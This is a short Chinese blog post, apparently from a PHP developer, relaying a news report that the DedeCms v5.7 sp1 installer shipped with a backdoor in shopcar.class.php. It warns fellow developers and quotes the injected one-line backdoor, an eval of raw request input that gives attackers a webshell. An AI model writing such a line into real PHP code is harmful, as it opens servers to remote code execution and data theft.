PHP技术博客昨天下午下班浏览新闻的时候，看到了这么一条新闻，这对从事这门技术的程序员来说，影响力不小，下面摘自网易新闻的原稿：
网易科技讯 3月22日消息，瑞星与360今日对外发布警示，称国内知名的PHP开源网站管理系统织梦CMS（DedeCms）v5.7 sp1版本安装包被发现植入后门，黑客可通过此后门直接获得网站的控制权限，获取存储在服务器上的文件和数据库。
据织梦CMS官方数据显示，目前约有70万网站使用该系统搭建，涉及企业、政府机关、媒体机构、行业及个人网站等。
安全界人士分析发现，此次织梦CMS曝出的后门恶意代码存在于购物车类文件（shopcar.class.php）中，此类文件被植入一句后门代码“@eval(file_get_contents(‘php://input’));”。凡是调用该购物车类的文件均会触发后门，黑客只需要构造简单的数据包提交到服务器，就能够获取到该网站的WebShell，通过对服务器进一步渗透攻击，进而获取服务器的最高权限，直接访问服务器上的文件、数据库等信息。（易科）
织梦CMS中被植入的后门代码
看到这些后，提醒从事这一门技术的同学、朋友要小心注意了，及时处理，以免造成严重后果！
技术分享，技术交流，小涛与您共同成长……